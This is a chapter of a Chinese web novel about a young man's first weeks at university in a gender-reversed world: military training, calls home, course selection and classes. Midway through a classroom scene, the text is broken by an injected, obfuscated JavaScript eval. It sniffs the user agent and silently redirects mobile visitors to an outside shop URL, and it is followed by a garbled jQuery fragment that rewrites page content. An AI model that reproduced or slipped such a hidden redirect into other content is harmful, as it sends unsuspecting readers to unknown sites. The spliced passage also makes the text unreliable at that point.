一早张帅和舍友们吃过饭,一起到教室集合,她们是教育专业三班,班里一共42个人,6个女生,其余都是男生。每个同学自我介绍一番后,辅导员挑了几个同学,去教务处搬来了课本和军训服。
张帅在座位上翻了翻新课本,什么教育学原理,教育学发展史,教育心理学。完全陌生的学习领域竟然让张帅有着隐隐的兴奋,他一直想着选择教育学的初衷。
下午在大礼堂参加了冗长的新生欢迎会,张帅昏昏欲睡度过了几个小时,开学第一天就在明明什么也没干但却累得要死的状态里结束了。
第二天6点半,宿舍里就有人起来穿衣服洗漱了,张帅慢了半拍才想起来今天要军训,一骨碌爬起来穿好军训服,赶紧洗漱完毕后,站在镜子前开始涂防晒。9月的南方城市太阳有多毒辣,张帅可不想第一天就被晒脱皮。
等着其他人都收拾好后,6个人一起出了宿舍,路上碰到了班里的其他同学,笑着说:“你们318的人也太团结了吧,干什么都是一起。”
吴悠一边勒裤腰带一边说:“那是,我们宿舍人都可好了。”
张帅也跟着附和,大学宿舍的人确实比高中时好相处多了,都是热心开朗,有话直说的直性子。
操场上已经乌泱泱站满了人,主席台上的校长拿着大喇叭扯着嗓子喊了一通鼓励的话后,正式宣布新生军训开始,有请教官入场!
从操场入口处传来一阵整齐划一的口号声,随之而来的是非常整齐、带有一丝压迫感的脚步声
“唰-唰-唰”
原本还有些躁动的学生队伍慢慢安静下来,张帅也不说话了,伸着脖子看着正前方二十多名教官方阵。
教官们列队齐整,像一台机器,缓缓靠近主席台。她们穿着迷彩服,腰带扎得绷紧,帽檐下的脸孔没有一丝表情。
简单的交接仪式后,教官方阵应声解散,二十多名教官迅速跑向各自负责的学院方阵。一个身材挺拔,面容冷峻的教官,大步流星地朝着张帅所在的队伍走来。她在队伍前站定,脚跟一碰,发出“啪”的一声脆响,“从今天起我就是负责你们的教官,我姓孙。我带过的队伍里,从没有过孬种,希望你们也一样。”
“全体都有,立正!向后转!跑步走!”
九月初,暑气未消,太阳把操场晒得仿佛一块铁板,学生就是铁板上的五花肉、鱿鱼串和豆腐干,被烤得滋滋冒油。
张帅已经在这样的日头下,站了四十分钟军姿。孙教官在人群里来回穿梭,两个眼睛仿佛鹰眼一般,总是精确定位到偷懒的学生。余光打量了一圈,确定周围没人,张帅刚想稍微放松一下,膝盖稍微弯曲了一点点弧度,就被人用皮靴点了点膝盖窝。
张帅唰的一下,立马站得笔直。“有些同学开始偷懒了,再让我发现一个,全体人员再站半小时!”孙教官声音不大,话说完后感觉每个人都站得更直了。
张帅觉得自己的上衣已经彻底湿透了,能清晰地感觉到汗从后背滑落,裤子也只有下半部分还松松地荡着,就当张帅觉得快被晒晕过去的时候,终于传来了一声哨响,“原地解散,休息二十分钟!”
整个队伍像散了架一般,好几个同学顾不上地面能煎熟鸡蛋的温度,直接躺在了地上。张帅和吴悠一前一后冲到了操场边的树荫下,一屁股坐到了地上,拿起水杯咕嘟咕嘟直接干了一整瓶水。额头上的汗哗一下流得更多了。
张帅把帽子摘了,厚厚的头发已经全部湿透,防晒早就被汗水冲没了,他从兜里掏出纸擦了擦额头的汗,擦得纸上又黄又白。张帅心烦的把纸塞回兜里,“又想剪头发了。长头发真是反人类。”
段依然他们几个也坐了过来,一边捶腿一边哀嚎,“我现在才真的明白,在教室里坐着刷几套高考模拟题,才是世界上最幸福的事儿。”
站了一天军姿,解散后大批的同学涌向食堂,吴悠和段依然互相搀扶着走在张帅旁边,“她们不累吗?居然还跑得动?”
等张帅他们慢慢悠悠晃到食堂的时候才明白那些同学到底在跑什么,食堂里几乎每个窗口前都排起了长队,几千名新生浑身臭汗同时挤在同一个空间,用餐区放眼望去也全是一片迷彩绿。
张帅瞬间放弃了排队买饭,“我打算去超市买个泡面,你们去吗?”
张帅的提议得到了一致响应,几个人又互相搀扶着去小超市,买了一兜子泡面零食回了宿舍。吃过饭洗过澡,张帅才觉得又活了过来。身体的极度疲惫反而让大脑得到了充分休息,虽然浑身酸痛到爬上床都费劲,精神却很放松,放松到张帅刚躺下没几分钟就睡着了,连他大姐的视频邀请都没接到。
第二天一早不知道谁的闹钟响了,几个人哼哼唧唧坐起来,几乎同时发出了几声惨叫,张帅卡在下床的半路,两条腿一用劲就钻心的酸疼。
咬着牙洗漱完穿好衣服,张帅才看到他大姐昨天给他打了好几个电话。他赶紧回了条消息,“姐,昨天军训第一天,睡着了。你醒了吗?”
没两分钟大姐的电话就拨了回来。“这么早就去军训啊?”
“没,刚起,一会儿去吃早饭。家里都好吧?”
“都好,就是你这个兔崽子,也不知道给家里来个电话,爸一直担心你吃不好睡不好。”
张帅来学校这几天每天都忙忙叨叨一堆事儿,竟然忘了给他爸打个电话,“我一忙就忙忘了。今天训练结束我就打一个。”张帅看其他人都收拾好了,“姐不说了,我该走了。拜拜,晚上接视频。”
上午站军姿,下午练转体,浑身酸痛地回到宿舍后,张帅赶紧给他姐拨了个视频电话,响了没多久对面就接了,屏幕上突然出现张知翌胖乎乎的小脸,旁边是他爸略显疲惫的脸,张帅眼眶一下就酸胀起来,赶紧把手机对着衣服,悄悄抹了把泪才继续看着屏幕,“爸,知翌感觉长大了好多,也不知道等我放假还认不认识我。”
“小孩子一天一个样,你回来了抱一抱她自然就亲你了。你在学校怎么样啊?也不知道跟家里汇报,我多担心你啊。”
“我挺好的,宿舍里同学都很好相处,辅导员也很和善。不用担心我,我还有好几个初中同学离得也不远。”
“家里也好,你姐恢复的很快。我再住几天就回去看看你妈,给她做几天饭,她一个人在家肯定吃不好……”
和他爸聊了好一会儿才挂电话,张帅握着手机又悄悄哭了会儿才平复好情绪去洗澡。没注意到李柔一直在床上听着他打电话,眼睛红红的像是刚哭过。
又经过几天常规训练以后,军训开始的第二个星期,她们迎来了新的考验,激光模拟射击训练。
学校在操场的最东边临时搭建了射击场,地线外五十米处立着一排墨绿色的靶子。孙教官把队伍带到场地前,休整一番后,从远处的帐篷里拿出了一把步枪。
“我知道你们都很兴奋,所以更要认真学习,要怎么拿枪怎么射击。大家坐好,先看我演示一遍。”
她转过身面向靶位,把枪放在面前的垫子上,“卧姿装子弹,”一边下口令一边示范动作。只见她左脚向前迈出一大步,身体顺势下沉,左手撑地,整个人稳稳趴在了射击垫上。右手抓起模拟步枪,枪托抵住肩窝,左手肘撑地形成稳固的三角形。
据枪,贴腮,孙教官闭了下眼,再睁开时整个人的气场都变了,像一头蛰伏的豹子,手指慢慢压下,砰的一声,电子提示音响起:“十环。”
队伍里发出一阵低低的骚动,孙教官连着开了五枪,五发都是十环。
接下来孙教官挨个指导着同学,每个人都上手实操了一次模拟射击,张帅打出了8.8环的成绩,有一个女生打出了最高分,9.5环,引得众人纷纷称赞。
又经历了夜间拉练,紧急集合,战场救护的训练后,21天的军训终于结束。张帅最后一次脱下迷彩服,开始迎接真正的大学生活。
开学前一周教务系统里已经上传了本学期课表,张帅边看边读给宿舍里其他人听,除了核心的专业课以外,还得上思政,计算机之类的公共课,最后是拼手速的体育课。
“依然,艺术体操在周三下午第二节,你记上点。”
“好,真羡慕他们,都抢到了网球课。就咱俩手慢。”
体育课选课那天318一致决定先抢网球课,备选乒乓球。因为听学长学哥们说,网球课的老师曾经在国家级比赛上得过奖,身材好,最重要的是长得还好看!
备选乒乓球完全是因为上课地点是室内,不怕晒。结果选课时系统一度卡死,等张帅好不容易登录成功的时候,只剩艺术体操可选了。段依然没有电脑,等其他人选完才借电脑登了自己账号,结果可想而知。
段依然点了提交以后在宿舍里哀嚎:“我又不是梦雅,从小就学舞蹈。请问肢体不协调,跳得太丑会挂科吗?”
第一节课是教育学原理,老师看起来很年轻,挨个问大家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818880|211100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为什么会选教育学专业。回答五花八门,有的说想当老师,因为有寒暑假;有的说被调剂来;也有的说很崇拜自己的老师,所以想成为和她们一样的人。
轮到张帅,他沉思半晌,说出了自己的真实想法:“我想从根上改变社会的偏见,想让男人和女人一样,得到平等的对待。”
老师的表情空白了一瞬,教室里响起嗡嗡的讨论声,随即老师说:“你的想法很好,值得鼓励。这个社会当然还存在一些不平等的现象,需要人去改变。不过真正的教育平等,不是让所有人做一样的事,而是按照最自然的天性,各司其职,这才叫做平等。”
下课后张帅抱着书和舍友们往食堂走,他问吴悠:“你觉得老师说真正的平等是什么意思?”
“嗯……我觉得就是一个人想干什么就能干什么吧,比如有的人就是喜欢当家庭主夫,有的人就是喜欢打拼事业。她们都平等地做着自己喜欢的事,这不就挺好的。”
张帅想了想又说:“那有的家庭依然不让男孩儿读书上学,让他们出去打工,却让家里的女孩读书。这怎么是平等呢?”
“这当然不平等啊,所以我觉得你回答的很好,我们就是要改变这种观念。不过这种情况越来越少,你要乐观一点看嘛。”
吴悠的话给了张帅很大的信心,虽然他总觉得老师的话好像不是吴悠理解的那样,但是他又认为是自己太敏感了,“你说的对,乐观一点,会越来越好的。”
到了周三下午,张帅和段依然一起去新校区上体育课,段依然甚至还在宿舍里做了做拉伸运动,两条腿连上床梯子的最后一层都架不上去,张帅抬着他的腿刚抬高了一公分,段依然就已经鬼哭狼嚎了。
到教室后大部分同学都已经站好了,有几个看起来像是学过舞蹈的,体态修长优美,气质一看就和别人不一样。
张帅和段依然挑了最后一排站着,教室四面墙上都是镜子,贴墙安装了一排把杆,地面铺了厚厚的地毯,墙角堆着成摞的泡沫砖。
不多时一名身材修长,气质极佳的男老师走进了教室,步伐缓慢且优雅,穿着一身全黑的舞蹈服,紧紧勾勒出他的宽肩窄腰翘臀长腿,不说其他人,就连张帅都看呆了。
段依然悄悄靠过来小声说:“这就是传说中的建模身材吧!咱们学校的老师颜值也太高了。”
“同学们好,欢迎大家来上艺术体操课。很多人对这门课有误解,以为是让大家像舞蹈生那样劈叉下腰。其实不是的,这门课主要是为了让大家形成对美的认知,感知身体的协调和肌肉力量。”
“先说一下课程要求,我的课大家尽量不要迟到和旷课,连续两次旷课可能会有挂科的风险。每一节课都会教大家一小节选段,考试就是每个同学把完整的节目表演一遍。根据完成度来打分。”
老师说完以后按照身高调整了队形,张帅又站在了第一排,老师巡视一圈以后,指了指张帅说:“同学,你上来配合我做一下示范。”
张帅依言上前,按照老师的指示侧面对着同学,手扶把杆站好。
老师从头到脚打量了一番之后说:“他的站姿就有很明显的问题,脖子前倾,含胸驼背,大腿内侧无法并拢。这种体态一是不健康,对颈椎脊椎都有一定损伤,二是非常不好看,对吧?”
张帅站在众人前,被老师这样一顿点评,感觉自己像菜市场里的菜,被顾客拿起来又看又挑,“这西红柿长得歪七扭八,一点也不圆乎,底还是绿的呢,这一看就不好吃。”
“这位同学长得非常好看啊,很标准的美人脸。不过男人的脸固然重要,但优雅的气质更能展现男性美,身材和体态就决定了气质如何。所以在我的课上,一定要时刻注意挺胸抬头,把下巴收回来,肩膀沉下去……”
一节课下来段依然已被优雅老师成功洗脑,回宿舍的路上都在刻意地维持自己的体态,“帅帅,老师说下节课需要咱们自己带舞蹈服和鞋,咱们周六出去逛街看看吧。”
张帅一直在思考这个世界的男人的模样,他们都非常注重穿衣打扮,很喜欢研究各种风格,会特意保持身材。说实话哪怕他作为一个上辈子的直男,也觉得这里的男人看起来顺眼了很多,不油腻,不臭,甚至还很养眼。尤其是今天看了体操课老师以后,他觉得注重保养、保持身材让人变得更干净更招人喜欢,似乎也没什么坏处。
“行,回头叫上梦雅,他从小学舞蹈,让他也帮着咱俩挑挑。”